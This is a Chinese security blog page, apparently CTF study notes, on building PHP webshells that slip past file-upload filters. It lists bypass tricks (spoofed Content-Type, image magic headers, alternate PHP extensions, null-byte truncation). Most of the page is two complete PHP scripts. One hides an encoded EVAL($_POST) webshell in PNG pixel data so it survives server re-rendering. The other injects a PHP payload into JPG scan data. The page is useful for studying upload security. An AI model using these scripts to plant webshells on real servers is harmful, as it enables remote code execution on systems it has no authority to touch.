Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

  • 隐写术
  • PHP

    • PHP 代码执行相关
    • PHP中的扩展
    • PHP中函数的安全漏洞
    • PHP内核
    • PHP序列化问题
    • PHP中的协议利用
    • fastcgi
    • fi
    • webshell
      • Upload Bypass
        • Content-Type
        • 文件头
        • 文件后缀名
      • 图片马
        • 文件头
        • 二次渲染
        • JPG
    • Thinkphp
    • laravel 框架
    • PHP积累
  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
  • PHP
Eki
2021-07-03
目录

webshell

# PHP Webshell 的一些构造

# Upload Bypass

# Content-Type

# 文件头

  • GIF GIF89a
  • XMP
#define width 1
#define height 1
1
2

# 文件后缀名

  • ph5 ph7 phtml
  • %00截断绕过

# 图片马

# 文件头

# 二次渲染

# PNG

利用inflate 使得deflate后为我们想要的字符,同时绕过相关过滤器

代码如下

<?php

$raw = "03a39f67641d201612546f112e29152b2167226b6f5f5310"; //EVAL($_POST[1]);
7
#$raw = "03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310";//$_GET[0]($_POST[1]);

$raw = hex2bin($raw);

$p = unpack('C*', $raw);

$s = count($p);
// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
    $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
#var_export($p);
$data1 = $p;
$p = unpack('C*', $raw);
$s = count($p);
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
    $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;
#var_export($p);
foreach ($p as $key=>$item){
    $data1[]=$item;
}
var_export($data1);

$p = $data1;

/*
$p = array (
    0 => 3,
    1 => 163,
    2 => 159,
    3 => 106,
    4 => 7,
    5 => 188,
    6 => 138,
    7 => 29,
    8 => 206,
    9 => 222,
    10 => 140,
    11 => 223,
    12 => 12,
    13 => 181,
    14 => 244,
    15 => 55,
    16 => 214,
    17 => 91,
    18 => 89,
    19 => 65,
    20 => 202,
    21 => 184,
    22 => 148,
    23 => 218,
    24 => 184,
    25 => 148,
    26 => 218,
    27 => 3,
    28 => 163,
    29 => 159,
    30 => 104,
    31 => 181,
    32 => 108,
    33 => 84,
    34 => 112,
    35 => 72,
    36 => 126,
    37 => 167,
    38 => 53,
    39 => 109,
    40 => 124,
    41 => 47,
    42 => 97,
    43 => 95,
    44 => 126,
    45 => 82,
    46 => 154,
    47 => 174,
    48 => 136,
    49 => 160,
    50 => 103,
    51 => 68,
    52 => 80,
    53 => 51,
);*/ 

#$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

#var_dump(implode(",", $p));

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
 
$text = imagepng($img);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

生成的图片符合png格式的要求,且能通过服务端二次渲染

# JPG

同样的有jpg代码

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

# 参考资料

https://xz.aliyun.com/t/2657

https://rdot.org/forum/showthread.php?t=2780

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

编辑 (opens new window)
上次更新: 2022/08/09, 14:57:22
fi
Thinkphp

← fi Thinkphp→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式